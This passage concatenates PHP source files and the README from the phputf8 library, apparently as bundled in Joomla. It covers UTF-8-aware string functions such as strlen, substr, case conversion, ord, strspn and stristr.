* Define UTF8_CORE as required
*/
if ( !defined('UTF8_CORE') ) {
    define('UTF8_CORE',TRUE);
}

//--------------------------------------------------------------------
/**
* Wrapper round mb_strlen
* Assumes you have mb_internal_encoding to UTF-8 already
* Note: this function does not count bad bytes in the string - these
* are simply ignored
* @param string UTF-8 string
* @return int number of UTF-8 characters in string
* @package utf8
*/
function utf8_strlen($str){
    return mb_strlen($str);
}


//--------------------------------------------------------------------
/**
* Assumes mbstring internal encoding is set to UTF-8
* Wrapper around mb_strpos
* Find position of first occurrence of a string
* @param string haystack
* @param string needle (you should validate this with utf8_is_valid)
* @param integer offset in characters (from left)
* @return mixed integer position or FALSE on failure
* @package utf8
*/
function utf8_strpos($str, $search, $offset = FALSE){
    if ( $offset === FALSE ) {
        return mb_strpos($str, $search);
    } else {
        return mb_strpos($str, $search, $offset);
    }
}

//--------------------------------------------------------------------
/**
* Assumes mbstring internal encoding is set to UTF-8
* Wrapper around mb_strrpos
* Find position of last occurrence of a char in a string
* @param string haystack
* @param string needle (you should validate this with utf8_is_valid)
* @param integer (optional) offset (from left)
* @return mixed integer position or FALSE on failure
* @package utf8
*/
function utf8_strrpos($str, $search, $offset = FALSE){
    if ( $offset === FALSE ) {
        # Emulate behaviour of strrpos rather than raising warning
        if ( empty($str) ) {
            return FALSE;
        }
        return mb_strrpos($str, $search);
    } else {
        if ( !is_int($offset) ) {
            trigger_error('utf8_strrpos expects parameter 3 to be
long',E_USER_WARNING);
            return FALSE;
        }

        $str = mb_substr($str, $offset);

        if ( FALSE !== ( $pos = mb_strrpos($str, $search) ) ) {
            return $pos + $offset;
        }

        return FALSE;
    }
}

//--------------------------------------------------------------------
/**
* Assumes mbstring internal encoding is set to UTF-8
* Wrapper around mb_substr
* Return part of a string given character offset (and optionally length)
* @param string
* @param integer number of UTF-8 characters offset (from left)
* @param integer (optional) length in UTF-8 characters from offset
* @return mixed string or FALSE if failure
* @package utf8
*/
function utf8_substr($str, $offset, $length = FALSE){
    if ( $length === FALSE ) {
        return mb_substr($str, $offset);
    } else {
        return mb_substr($str, $offset, $length);
    }
}

//--------------------------------------------------------------------
/**
* Assumes mbstring internal encoding is set to UTF-8
* Wrapper around mb_strtolower
* Make a string lowercase
* Note: The concept of a characters "case" only exists is some
alphabets
* such as Latin, Greek, Cyrillic, Armenian and archaic Georgian - it does
* not exist in the Chinese alphabet, for example. See Unicode Standard
* Annex #21: Case Mappings
* @param string
* @return mixed either string in lowercase or FALSE is UTF-8 invalid
* @package utf8
*/
function utf8_strtolower($str){
    return mb_strtolower($str);
}

//--------------------------------------------------------------------
/**
* Assumes mbstring internal encoding is set to UTF-8
* Wrapper around mb_strtoupper
* Make a string uppercase
* Note: The concept of a characters "case" only exists is some
alphabets
* such as Latin, Greek, Cyrillic, Armenian and archaic Georgian - it does
* not exist in the Chinese alphabet, for example. See Unicode Standard
* Annex #21: Case Mappings
* @param string
* @return mixed either string in lowercase or FALSE is UTF-8 invalid
* @package utf8
*/
function utf8_strtoupper($str){
    return mb_strtoupper($str);
}
<?php
/**
* @package utf8
*/

/**
* Define UTF8_CORE as required
*/
if ( !defined('UTF8_CORE') ) {
    define('UTF8_CORE',TRUE);
}

//--------------------------------------------------------------------
/**
* Unicode aware replacement for strlen(). Returns the number
* of characters in the string (not the number of bytes), replacing
* multibyte characters with a single byte equivalent
* utf8_decode() converts characters that are not in ISO-8859-1
* to '?', which, for the purpose of counting, is alright -
It's
* much faster than iconv_strlen
* Note: this function does not count bad UTF-8 bytes in the string
* - these are simply ignored
* @author <chernyshevsky at hotmail dot com>
* @link   http://www.php.net/manual/en/function.strlen.php
* @link   http://www.php.net/manual/en/function.utf8-decode.php
* @param string UTF-8 string
* @return int number of UTF-8 characters in string
* @package utf8
*/
function utf8_strlen($str){
    return strlen(utf8_decode($str));
}


//--------------------------------------------------------------------
/**
* UTF-8 aware alternative to strpos
* Find position of first occurrence of a string
* Note: This will get alot slower if offset is used
* Note: requires utf8_strlen amd utf8_substr to be loaded
* @param string haystack
* @param string needle (you should validate this with utf8_is_valid)
* @param integer offset in characters (from left)
* @return mixed integer position or FALSE on failure
* @see http://www.php.net/strpos
* @see utf8_strlen
* @see utf8_substr
* @package utf8
*/
function utf8_strpos($str, $needle, $offset = NULL) {

    if ( is_null($offset) ) {

        $ar = explode($needle, $str, 2);
        if ( count($ar) > 1 ) {
            return utf8_strlen($ar[0]);
        }
        return FALSE;

    } else {

        if ( !is_int($offset) ) {
            trigger_error('utf8_strpos: Offset must be an
integer',E_USER_ERROR);
            return FALSE;
        }

        $str = utf8_substr($str, $offset);

        if ( FALSE !== ( $pos = utf8_strpos($str, $needle) ) ) {
            return $pos + $offset;
        }

        return FALSE;
    }

}

//--------------------------------------------------------------------
/**
* UTF-8 aware alternative to strrpos
* Find position of last occurrence of a char in a string
* Note: This will get alot slower if offset is used
* Note: requires utf8_substr and utf8_strlen to be loaded
* @param string haystack
* @param string needle (you should validate this with utf8_is_valid)
* @param integer (optional) offset (from left)
* @return mixed integer position or FALSE on failure
* @see http://www.php.net/strrpos
* @see utf8_substr
* @see utf8_strlen
* @package utf8
*/
function utf8_strrpos($str, $needle, $offset = NULL) {

    if ( is_null($offset) ) {

        $ar = explode($needle, $str);

        if ( count($ar) > 1 ) {
            // Pop off the end of the string where the last match was made
            array_pop($ar);
            $str = join($needle,$ar);
            return utf8_strlen($str);
        }
        return FALSE;

    } else {

        if ( !is_int($offset) ) {
            trigger_error('utf8_strrpos expects parameter 3 to be
long',E_USER_WARNING);
            return FALSE;
        }

        $str = utf8_substr($str, $offset);

        if ( FALSE !== ( $pos = utf8_strrpos($str, $needle) ) ) {
            return $pos + $offset;
        }

        return FALSE;
    }

}

//--------------------------------------------------------------------
/**
* UTF-8 aware alternative to substr
* Return part of a string given character offset (and optionally length)
*
* Note arguments: comparied to substr - if offset or length are
* not integers, this version will not complain but rather massages them
* into an integer.
*
* Note on returned values: substr documentation states false can be
* returned in some cases (e.g. offset > string length)
* mb_substr never returns false, it will return an empty string instead.
* This adopts the mb_substr approach
*
* Note on implementation: PCRE only supports repetitions of less than
* 65536, in order to accept up to MAXINT values for offset and length,
* we'll repeat a group of 65535 characters when needed.
*
* Note on implementation: calculating the number of characters in the
* string is a relatively expensive operation, so we only carry it out when
* necessary. It isn't necessary for +ve offsets and no specified
length
*
* @author Chris Smith<chris@jalakai.co.uk>
* @param string
* @param integer number of UTF-8 characters offset (from left)
* @param integer (optional) length in UTF-8 characters from offset
* @return mixed string or FALSE if failure
* @package utf8
*/
function utf8_substr($str, $offset, $length = NULL) {

    // generates E_NOTICE
    // for PHP4 objects, but not PHP5 objects
    $str = (string)$str;
    $offset = (int)$offset;
    if (!is_null($length)) $length = (int)$length;

    // handle trivial cases
    if ($length === 0) return '';
    if ($offset < 0 && $length < 0 && $length <
$offset)
        return '';

    // normalise negative offsets (we could use a tail
    // anchored pattern, but they are horribly slow!)
    if ($offset < 0) {

        // see notes
        $strlen = strlen(utf8_decode($str));
        $offset = $strlen + $offset;
        if ($offset < 0) $offset = 0;

    }

    $Op = '';
    $Lp = '';

    // establish a pattern for offset, a
    // non-captured group equal in length to offset
    if ($offset > 0) {

        $Ox = (int)($offset/65535);
        $Oy = $offset%65535;

        if ($Ox) {
            $Op = '(?:.{65535}){'.$Ox.'}';
        }

        $Op = '^(?:'.$Op.'.{'.$Oy.'})';

    } else {

        // offset == 0; just anchor the pattern
        $Op = '^';

    }

    // establish a pattern for length
    if (is_null($length)) {

        // the rest of the string
        $Lp = '(.*)$';

    } else {

        if (!isset($strlen)) {
            // see notes
            $strlen = strlen(utf8_decode($str));
        }

        // another trivial case
        if ($offset > $strlen) return '';

        if ($length > 0) {

            // reduce any length that would
            // go passed the end of the string
            $length = min($strlen-$offset, $length);

            $Lx = (int)( $length / 65535 );
            $Ly = $length % 65535;

            // negative length requires a captured group
            // of length characters
            if ($Lx) $Lp = '(?:.{65535}){'.$Lx.'}';
            $Lp = '('.$Lp.'.{'.$Ly.'})';

        } else if ($length < 0) {

            if ( $length < ($offset - $strlen) ) {
                return '';
            }

            $Lx = (int)((-$length)/65535);
            $Ly = (-$length)%65535;

            // negative length requires ... capture everything
            // except a group of  -length characters
            // anchored at the tail-end of the string
            if ($Lx) $Lp = '(?:.{65535}){'.$Lx.'}';
            $Lp =
'(.*)(?:'.$Lp.'.{'.$Ly.'})$';

        }

    }

    if (!preg_match( '#'.$Op.$Lp.'#us',$str, $match ))
{
        return '';
    }

    return $match[1];

}

//---------------------------------------------------------------
/**
* UTF-8 aware alternative to strtolower
* Make a string lowercase
* Note: The concept of a characters "case" only exists is some
alphabets
* such as Latin, Greek, Cyrillic, Armenian and archaic Georgian - it does
* not exist in the Chinese alphabet, for example. See Unicode Standard
* Annex #21: Case Mappings
* Note: requires utf8_to_unicode and utf8_from_unicode
* @author Andreas Gohr <andi@splitbrain.org>
* @param string
* @return mixed either string in lowercase or FALSE is UTF-8 invalid
* @see http://www.php.net/strtolower
* @see utf8_to_unicode
* @see utf8_from_unicode
* @see http://www.unicode.org/reports/tr21/tr21-5.html
* @see http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php
* @package utf8
*/
function utf8_strtolower($string){

    static $UTF8_UPPER_TO_LOWER = NULL;

    if ( is_null($UTF8_UPPER_TO_LOWER) ) {
        $UTF8_UPPER_TO_LOWER = array(
    0x0041=>0x0061, 0x03A6=>0x03C6, 0x0162=>0x0163,
0x00C5=>0x00E5, 0x0042=>0x0062,
    0x0139=>0x013A, 0x00C1=>0x00E1, 0x0141=>0x0142,
0x038E=>0x03CD, 0x0100=>0x0101,
    0x0490=>0x0491, 0x0394=>0x03B4, 0x015A=>0x015B,
0x0044=>0x0064, 0x0393=>0x03B3,
    0x00D4=>0x00F4, 0x042A=>0x044A, 0x0419=>0x0439,
0x0112=>0x0113, 0x041C=>0x043C,
    0x015E=>0x015F, 0x0143=>0x0144, 0x00CE=>0x00EE,
0x040E=>0x045E, 0x042F=>0x044F,
    0x039A=>0x03BA, 0x0154=>0x0155, 0x0049=>0x0069,
0x0053=>0x0073, 0x1E1E=>0x1E1F,
    0x0134=>0x0135, 0x0427=>0x0447, 0x03A0=>0x03C0,
0x0418=>0x0438, 0x00D3=>0x00F3,
    0x0420=>0x0440, 0x0404=>0x0454, 0x0415=>0x0435,
0x0429=>0x0449, 0x014A=>0x014B,
    0x0411=>0x0431, 0x0409=>0x0459, 0x1E02=>0x1E03,
0x00D6=>0x00F6, 0x00D9=>0x00F9,
    0x004E=>0x006E, 0x0401=>0x0451, 0x03A4=>0x03C4,
0x0423=>0x0443, 0x015C=>0x015D,
    0x0403=>0x0453, 0x03A8=>0x03C8, 0x0158=>0x0159,
0x0047=>0x0067, 0x00C4=>0x00E4,
    0x0386=>0x03AC, 0x0389=>0x03AE, 0x0166=>0x0167,
0x039E=>0x03BE, 0x0164=>0x0165,
    0x0116=>0x0117, 0x0108=>0x0109, 0x0056=>0x0076,
0x00DE=>0x00FE, 0x0156=>0x0157,
    0x00DA=>0x00FA, 0x1E60=>0x1E61, 0x1E82=>0x1E83,
0x00C2=>0x00E2, 0x0118=>0x0119,
    0x0145=>0x0146, 0x0050=>0x0070, 0x0150=>0x0151,
0x042E=>0x044E, 0x0128=>0x0129,
    0x03A7=>0x03C7, 0x013D=>0x013E, 0x0422=>0x0442,
0x005A=>0x007A, 0x0428=>0x0448,
    0x03A1=>0x03C1, 0x1E80=>0x1E81, 0x016C=>0x016D,
0x00D5=>0x00F5, 0x0055=>0x0075,
    0x0176=>0x0177, 0x00DC=>0x00FC, 0x1E56=>0x1E57,
0x03A3=>0x03C3, 0x041A=>0x043A,
    0x004D=>0x006D, 0x016A=>0x016B, 0x0170=>0x0171,
0x0424=>0x0444, 0x00CC=>0x00EC,
    0x0168=>0x0169, 0x039F=>0x03BF, 0x004B=>0x006B,
0x00D2=>0x00F2, 0x00C0=>0x00E0,
    0x0414=>0x0434, 0x03A9=>0x03C9, 0x1E6A=>0x1E6B,
0x00C3=>0x00E3, 0x042D=>0x044D,
    0x0416=>0x0436, 0x01A0=>0x01A1, 0x010C=>0x010D,
0x011C=>0x011D, 0x00D0=>0x00F0,
    0x013B=>0x013C, 0x040F=>0x045F, 0x040A=>0x045A,
0x00C8=>0x00E8, 0x03A5=>0x03C5,
    0x0046=>0x0066, 0x00DD=>0x00FD, 0x0043=>0x0063,
0x021A=>0x021B, 0x00CA=>0x00EA,
    0x0399=>0x03B9, 0x0179=>0x017A, 0x00CF=>0x00EF,
0x01AF=>0x01B0, 0x0045=>0x0065,
    0x039B=>0x03BB, 0x0398=>0x03B8, 0x039C=>0x03BC,
0x040C=>0x045C, 0x041F=>0x043F,
    0x042C=>0x044C, 0x00DE=>0x00FE, 0x00D0=>0x00F0,
0x1EF2=>0x1EF3, 0x0048=>0x0068,
    0x00CB=>0x00EB, 0x0110=>0x0111, 0x0413=>0x0433,
0x012E=>0x012F, 0x00C6=>0x00E6,
    0x0058=>0x0078, 0x0160=>0x0161, 0x016E=>0x016F,
0x0391=>0x03B1, 0x0407=>0x0457,
    0x0172=>0x0173, 0x0178=>0x00FF, 0x004F=>0x006F,
0x041B=>0x043B, 0x0395=>0x03B5,
    0x0425=>0x0445, 0x0120=>0x0121, 0x017D=>0x017E,
0x017B=>0x017C, 0x0396=>0x03B6,
    0x0392=>0x03B2, 0x0388=>0x03AD, 0x1E84=>0x1E85,
0x0174=>0x0175, 0x0051=>0x0071,
    0x0417=>0x0437, 0x1E0A=>0x1E0B, 0x0147=>0x0148,
0x0104=>0x0105, 0x0408=>0x0458,
    0x014C=>0x014D, 0x00CD=>0x00ED, 0x0059=>0x0079,
0x010A=>0x010B, 0x038F=>0x03CE,
    0x0052=>0x0072, 0x0410=>0x0430, 0x0405=>0x0455,
0x0402=>0x0452, 0x0126=>0x0127,
    0x0136=>0x0137, 0x012A=>0x012B, 0x038A=>0x03AF,
0x042B=>0x044B, 0x004C=>0x006C,
    0x0397=>0x03B7, 0x0124=>0x0125, 0x0218=>0x0219,
0x00DB=>0x00FB, 0x011E=>0x011F,
    0x041E=>0x043E, 0x1E40=>0x1E41, 0x039D=>0x03BD,
0x0106=>0x0107, 0x03AB=>0x03CB,
    0x0426=>0x0446, 0x00DE=>0x00FE, 0x00C7=>0x00E7,
0x03AA=>0x03CA, 0x0421=>0x0441,
    0x0412=>0x0432, 0x010E=>0x010F, 0x00D8=>0x00F8,
0x0057=>0x0077, 0x011A=>0x011B,
    0x0054=>0x0074, 0x004A=>0x006A, 0x040B=>0x045B,
0x0406=>0x0456, 0x0102=>0x0103,
    0x039B=>0x03BB, 0x00D1=>0x00F1, 0x041D=>0x043D,
0x038C=>0x03CC, 0x00C9=>0x00E9,
    0x00D0=>0x00F0, 0x0407=>0x0457, 0x0122=>0x0123,
            );
    }

    $uni = utf8_to_unicode($string);

    if ( !$uni ) {
        return FALSE;
    }

    $cnt = count($uni);
    for ($i=0; $i < $cnt; $i++){
        if ( isset($UTF8_UPPER_TO_LOWER[$uni[$i]]) ) {
            $uni[$i] = $UTF8_UPPER_TO_LOWER[$uni[$i]];
        }
    }

    return utf8_from_unicode($uni);
}

//---------------------------------------------------------------
/**
* UTF-8 aware alternative to strtoupper
* Make a string uppercase
* Note: The concept of a characters "case" only exists is some
alphabets
* such as Latin, Greek, Cyrillic, Armenian and archaic Georgian - it does
* not exist in the Chinese alphabet, for example. See Unicode Standard
* Annex #21: Case Mappings
* Note: requires utf8_to_unicode and utf8_from_unicode
* @author Andreas Gohr <andi@splitbrain.org>
* @param string
* @return mixed either string in lowercase or FALSE is UTF-8 invalid
* @see http://www.php.net/strtoupper
* @see utf8_to_unicode
* @see utf8_from_unicode
* @see http://www.unicode.org/reports/tr21/tr21-5.html
* @see http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php
* @package utf8
*/
function utf8_strtoupper($string){

    static $UTF8_LOWER_TO_UPPER = NULL;

    if ( is_null($UTF8_LOWER_TO_UPPER) ) {
        $UTF8_LOWER_TO_UPPER = array(
    0x0061=>0x0041, 0x03C6=>0x03A6, 0x0163=>0x0162,
0x00E5=>0x00C5, 0x0062=>0x0042,
    0x013A=>0x0139, 0x00E1=>0x00C1, 0x0142=>0x0141,
0x03CD=>0x038E, 0x0101=>0x0100,
    0x0491=>0x0490, 0x03B4=>0x0394, 0x015B=>0x015A,
0x0064=>0x0044, 0x03B3=>0x0393,
    0x00F4=>0x00D4, 0x044A=>0x042A, 0x0439=>0x0419,
0x0113=>0x0112, 0x043C=>0x041C,
    0x015F=>0x015E, 0x0144=>0x0143, 0x00EE=>0x00CE,
0x045E=>0x040E, 0x044F=>0x042F,
    0x03BA=>0x039A, 0x0155=>0x0154, 0x0069=>0x0049,
0x0073=>0x0053, 0x1E1F=>0x1E1E,
    0x0135=>0x0134, 0x0447=>0x0427, 0x03C0=>0x03A0,
0x0438=>0x0418, 0x00F3=>0x00D3,
    0x0440=>0x0420, 0x0454=>0x0404, 0x0435=>0x0415,
0x0449=>0x0429, 0x014B=>0x014A,
    0x0431=>0x0411, 0x0459=>0x0409, 0x1E03=>0x1E02,
0x00F6=>0x00D6, 0x00F9=>0x00D9,
    0x006E=>0x004E, 0x0451=>0x0401, 0x03C4=>0x03A4,
0x0443=>0x0423, 0x015D=>0x015C,
    0x0453=>0x0403, 0x03C8=>0x03A8, 0x0159=>0x0158,
0x0067=>0x0047, 0x00E4=>0x00C4,
    0x03AC=>0x0386, 0x03AE=>0x0389, 0x0167=>0x0166,
0x03BE=>0x039E, 0x0165=>0x0164,
    0x0117=>0x0116, 0x0109=>0x0108, 0x0076=>0x0056,
0x00FE=>0x00DE, 0x0157=>0x0156,
    0x00FA=>0x00DA, 0x1E61=>0x1E60, 0x1E83=>0x1E82,
0x00E2=>0x00C2, 0x0119=>0x0118,
    0x0146=>0x0145, 0x0070=>0x0050, 0x0151=>0x0150,
0x044E=>0x042E, 0x0129=>0x0128,
    0x03C7=>0x03A7, 0x013E=>0x013D, 0x0442=>0x0422,
0x007A=>0x005A, 0x0448=>0x0428,
    0x03C1=>0x03A1, 0x1E81=>0x1E80, 0x016D=>0x016C,
0x00F5=>0x00D5, 0x0075=>0x0055,
    0x0177=>0x0176, 0x00FC=>0x00DC, 0x1E57=>0x1E56,
0x03C3=>0x03A3, 0x043A=>0x041A,
    0x006D=>0x004D, 0x016B=>0x016A, 0x0171=>0x0170,
0x0444=>0x0424, 0x00EC=>0x00CC,
    0x0169=>0x0168, 0x03BF=>0x039F, 0x006B=>0x004B,
0x00F2=>0x00D2, 0x00E0=>0x00C0,
    0x0434=>0x0414, 0x03C9=>0x03A9, 0x1E6B=>0x1E6A,
0x00E3=>0x00C3, 0x044D=>0x042D,
    0x0436=>0x0416, 0x01A1=>0x01A0, 0x010D=>0x010C,
0x011D=>0x011C, 0x00F0=>0x00D0,
    0x013C=>0x013B, 0x045F=>0x040F, 0x045A=>0x040A,
0x00E8=>0x00C8, 0x03C5=>0x03A5,
    0x0066=>0x0046, 0x00FD=>0x00DD, 0x0063=>0x0043,
0x021B=>0x021A, 0x00EA=>0x00CA,
    0x03B9=>0x0399, 0x017A=>0x0179, 0x00EF=>0x00CF,
0x01B0=>0x01AF, 0x0065=>0x0045,
    0x03BB=>0x039B, 0x03B8=>0x0398, 0x03BC=>0x039C,
0x045C=>0x040C, 0x043F=>0x041F,
    0x044C=>0x042C, 0x00FE=>0x00DE, 0x00F0=>0x00D0,
0x1EF3=>0x1EF2, 0x0068=>0x0048,
    0x00EB=>0x00CB, 0x0111=>0x0110, 0x0433=>0x0413,
0x012F=>0x012E, 0x00E6=>0x00C6,
    0x0078=>0x0058, 0x0161=>0x0160, 0x016F=>0x016E,
0x03B1=>0x0391, 0x0457=>0x0407,
    0x0173=>0x0172, 0x00FF=>0x0178, 0x006F=>0x004F,
0x043B=>0x041B, 0x03B5=>0x0395,
    0x0445=>0x0425, 0x0121=>0x0120, 0x017E=>0x017D,
0x017C=>0x017B, 0x03B6=>0x0396,
    0x03B2=>0x0392, 0x03AD=>0x0388, 0x1E85=>0x1E84,
0x0175=>0x0174, 0x0071=>0x0051,
    0x0437=>0x0417, 0x1E0B=>0x1E0A, 0x0148=>0x0147,
0x0105=>0x0104, 0x0458=>0x0408,
    0x014D=>0x014C, 0x00ED=>0x00CD, 0x0079=>0x0059,
0x010B=>0x010A, 0x03CE=>0x038F,
    0x0072=>0x0052, 0x0430=>0x0410, 0x0455=>0x0405,
0x0452=>0x0402, 0x0127=>0x0126,
    0x0137=>0x0136, 0x012B=>0x012A, 0x03AF=>0x038A,
0x044B=>0x042B, 0x006C=>0x004C,
    0x03B7=>0x0397, 0x0125=>0x0124, 0x0219=>0x0218,
0x00FB=>0x00DB, 0x011F=>0x011E,
    0x043E=>0x041E, 0x1E41=>0x1E40, 0x03BD=>0x039D,
0x0107=>0x0106, 0x03CB=>0x03AB,
    0x0446=>0x0426, 0x00FE=>0x00DE, 0x00E7=>0x00C7,
0x03CA=>0x03AA, 0x0441=>0x0421,
    0x0432=>0x0412, 0x010F=>0x010E, 0x00F8=>0x00D8,
0x0077=>0x0057, 0x011B=>0x011A,
    0x0074=>0x0054, 0x006A=>0x004A, 0x045B=>0x040B,
0x0456=>0x0406, 0x0103=>0x0102,
    0x03BB=>0x039B, 0x00F1=>0x00D1, 0x043D=>0x041D,
0x03CC=>0x038C, 0x00E9=>0x00C9,
    0x00F0=>0x00D0, 0x0457=>0x0407, 0x0123=>0x0122,
            );
    }

    $uni = utf8_to_unicode($string);

    if ( !$uni ) {
        return FALSE;
    }

    $cnt = count($uni);
    for ($i=0; $i < $cnt; $i++){
        if( isset($UTF8_LOWER_TO_UPPER[$uni[$i]]) ) {
            $uni[$i] = $UTF8_LOWER_TO_UPPER[$uni[$i]];
        }
    }

    return utf8_from_unicode($uni);
}
<?php
/**
* @package utf8
*/

//---------------------------------------------------------------
/**
* UTF-8 aware alternative to ord
* Returns the unicode ordinal for a character
*
* Joomla modification - As of PHP 7.4, curly brace access has been
deprecated. As a result this function has been
* modified to use square brace syntax
* See
https://github.com/php/php-src/commit/d574df63dc375f5fc9202ce5afde23f866b6450a
* for additional references
*
* @param string UTF-8 encoded character
* @return int unicode ordinal for the character
* @see http://www.php.net/ord
* @see http://www.php.net/manual/en/function.ord.php#46267
*/
function utf8_ord($chr) {

    $ord0 = ord($chr);

    if ( $ord0 >= 0 && $ord0 <= 127 ) {
        return $ord0;
    }

    if ( !isset($chr[1]) ) {
        trigger_error('Short sequence - at least 2 bytes expected,
only 1 seen');
        return FALSE;
    }

    $ord1 = ord($chr[1]);
    if ( $ord0 >= 192 && $ord0 <= 223 ) {
        return ( $ord0 - 192 ) * 64
            + ( $ord1 - 128 );
    }

    if ( !isset($chr[2]) ) {
        trigger_error('Short sequence - at least 3 bytes expected,
only 2 seen');
        return FALSE;
    }
    $ord2 = ord($chr[2]);
    if ( $ord0 >= 224 && $ord0 <= 239 ) {
        return ($ord0-224)*4096
            + ($ord1-128)*64
                + ($ord2-128);
    }

    if ( !isset($chr[3]) ) {
        trigger_error('Short sequence - at least 4 bytes expected,
only 3 seen');
        return FALSE;
    }
    $ord3 = ord($chr[3]);
    if ($ord0>=240 && $ord0<=247) {
        return ($ord0-240)*262144
            + ($ord1-128)*4096
                + ($ord2-128)*64
                    + ($ord3-128);

    }

    if ( !isset($chr[4]) ) {
        trigger_error('Short sequence - at least 5 bytes expected,
only 4 seen');
        return FALSE;
    }
    $ord4 = ord($chr[4]);
    if ($ord0>=248 && $ord0<=251) {
        return ($ord0-248)*16777216
            + ($ord1-128)*262144
                + ($ord2-128)*4096
                    + ($ord3-128)*64
                        + ($ord4-128);
    }

    if ( !isset($chr[5]) ) {
        trigger_error('Short sequence - at least 6 bytes expected,
only 5 seen');
        return FALSE;
    }
    if ($ord0>=252 && $ord0<=253) {
        return ($ord0-252) * 1073741824
            + ($ord1-128)*16777216
                + ($ord2-128)*262144
                    + ($ord3-128)*4096
                        + ($ord4-128)*64
                            + (ord($chr[5])-128);
    }

    if ( $ord0 >= 254 && $ord0 <= 255 ) {
        trigger_error('Invalid UTF-8 with surrogate ordinal
'.$ord0);
        return FALSE;
    }

}

++PHP UTF-8++

Version 0.5

++DOCUMENTATION++

Documentation in progress in ./docs dir

http://www.phpwact.org/php/i18n/charsets
http://www.phpwact.org/php/i18n/utf-8

Important Note: DO NOT use these functions without understanding WHY
you are using them. In particular, do not blindly replace all use of
PHP's
string functions which functions found here - most of the time you will
not need to, and you will be introducing a significant performance
overhead to your application. You can get a good idea of when to use what
from reading: http://www.phpwact.org/php/i18n/utf-8

Important Note: For sake of performance most of the functions here are
not "defensive" (e.g. there is not extensive parameter checking,
well
formed UTF-8 is assumed). This is particularily relevant when is comes to
catching badly formed UTF-8 - you should screen input on the "outer
perimeter" with help from functions in the utf8_validation.php and
utf8_bad.php files.

Important Note: this library treats ALL ASCII characters as valid,
including ASCII control characters. But if you use some ASCII control
characters in XML, it will render the XML ill-formed. Don't be a bozo:
http://hsivonen.iki.fi/producing-xml/#controlchar

++BUGS / SUPPORT / FEATURE REQUESTS ++

Please report bugs to:
http://sourceforge.net/tracker/?group_id=142846&atid=753842
- if you are able, please submit a failing unit test
(http://www.lastcraft.com/simple_test.php) with your bug report.

For feature requests / faster implementation of functions found here,
please drop them in via the RFE tracker:
http://sourceforge.net/tracker/?group_id=142846&atid=753845
Particularily interested in faster implementations!

For general support / help, use:
http://sourceforge.net/tracker/?group_id=142846&atid=753843

In the VERY WORST case, you can email me: hfuecks gmail com - I tend to be
slow to respond though so be warned.

Important Note: when reporting bugs, please provide the following
information;

PHP version, whether the iconv extension is loaded (in PHP5 it's
there by default), whether the mbstring extension is loaded. The
following PHP script can be used to determine this information;

<?php
print "PHP Version: " .phpversion()."<br>";
if ( extension_loaded('mbstring') ) {
    print "mbstring available<br>";
} else {
    print "mbstring not available<br>";
}
if ( extension_loaded('iconv') ) {
    print "iconv available<br>";
} else {
    print "iconv not available<br>";
}
?>

++LICENSING++

Parts of the code in this library come from other places, under different
licenses.
The authors involved have been contacted (see below). Attribution for
which code came from elsewhere can be found in the source code itself.

+Andreas Gohr / Chris Smith - Dokuwiki
There is a fair degree of collaboration / exchange of ideas and code
beteen Dokuwiki's UTF-8 library;
http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php
and phputf8. Although Dokuwiki is released under GPL, its UTF-8
library is released under LGPL, hence no conflict with phputf8

+Henri Sivonen (http://hsivonen.iki.fi/php-utf8/ /
http://hsivonen.iki.fi/php-utf8/) has also given permission for his
code to be released under the terms of the LGPL. He ported a Unicode /
UTF-8
converter from the Mozilla codebase to PHP, which is re-used in phputf8
<?php
/**
* @package utf8
*/

//---------------------------------------------------------------
/**
* UTF-8 aware alternative to strcasecmp
* A case insensivite string comparison
* Note: requires utf8_strtolower
* @param string
* @param string
* @return int
* @see http://www.php.net/strcasecmp
* @see utf8_strtolower
* @package utf8
*/
function utf8_strcasecmp($strX, $strY) {
    $strX = utf8_strtolower($strX);
    $strY = utf8_strtolower($strY);
    return strcmp($strX, $strY);
}

<?php
/**
* @package utf8
*/

//---------------------------------------------------------------
/**
* UTF-8 aware alternative to strcspn
* Find length of initial segment not matching mask
* Note: requires utf8_strlen and utf8_substr (if start, length are used)
* @param string
* @return int
* @see http://www.php.net/strcspn
* @see utf8_strlen
* @package utf8
*/
function utf8_strcspn($str, $mask, $start = NULL, $length = NULL) {

    if ( empty($mask) || strlen($mask) == 0 ) {
        return NULL;
    }

    $mask =
preg_replace('!([\\\\\\-\\]\\[/^])!','\\\${1}',$mask);

    if ( $start !== NULL || $length !== NULL ) {
        $str = utf8_substr($str, $start, $length);
    }

    preg_match('/^[^'.$mask.']+/u',$str, $matches);

    if ( isset($matches[0]) ) {
        return utf8_strlen($matches[0]);
    }

    return 0;

}

<?php
/**
* @package utf8
*/

//---------------------------------------------------------------
/**
* UTF-8 aware alternative to stristr
* Find first occurrence of a string using case insensitive comparison
* Note: requires utf8_strtolower
* @param string
* @param string
* @return int
* @see http://www.php.net/strcasecmp
* @see utf8_strtolower
* @package utf8
*/
function utf8_stristr($str, $search) {

    if ( strlen($search) == 0 ) {
        return $str;
    }

    $lstr = utf8_strtolower($str);
    $lsearch = utf8_strtolower($search);
    //JOOMLA SPECIFIC FIX - BEGIN
    preg_match('/^(.*)'.preg_quote($lsearch,
'/').'/Us',$lstr, $matches);
    //JOOMLA SPECIFIC FIX - END

    if ( count($matches) == 2 ) {
        return substr($str, strlen($matches[1]));
    }

    return FALSE;
}
<?php
/**
* @package utf8
*/

//---------------------------------------------------------------
/**
* UTF-8 aware alternative to strrev
* Reverse a string
* @param string UTF-8 encoded
* @return string characters in string reverses
* @see http://www.php.net/strrev
* @package utf8
*/
function utf8_strrev($str){
    preg_match_all('/./us', $str, $ar);
    return join('',array_reverse($ar[0]));
}

<?php
/**
* @package utf8
*/

//---------------------------------------------------------------
/**
* UTF-8 aware alternative to strspn
* Find length of initial segment matching mask
* Note: requires utf8_strlen and utf8_substr (if start, length are used)
* @param string
* @return int
* @see http://www.php.net/strspn
* @package utf8
*/
function utf8_strspn($str, $mask, $start = NULL, $length = NULL) {

    $mask =
preg_replace('!([\\\\\\-\\]\\[/^])!','\\\${1}',$mask);

	// Fix for $start but no $length argument.
    if ($start !== null && $length === null) {
    	$length = utf8_strlen($str);
    }

    if ( $start !== NULL || $length !== NULL ) {
        $str = utf8_substr($str, $start, $length);
    }

    preg_match('/^['.$mask.']+/u',$str, $matches);

    if ( isset($matches[0]) ) {
        return utf8_strlen($matches[0]);
    }

    return 0;

}

<?php
/**
* @package utf8
*/

//---------------------------------------------------------------
/**
* UTF-8 aware alternative to str_ireplace
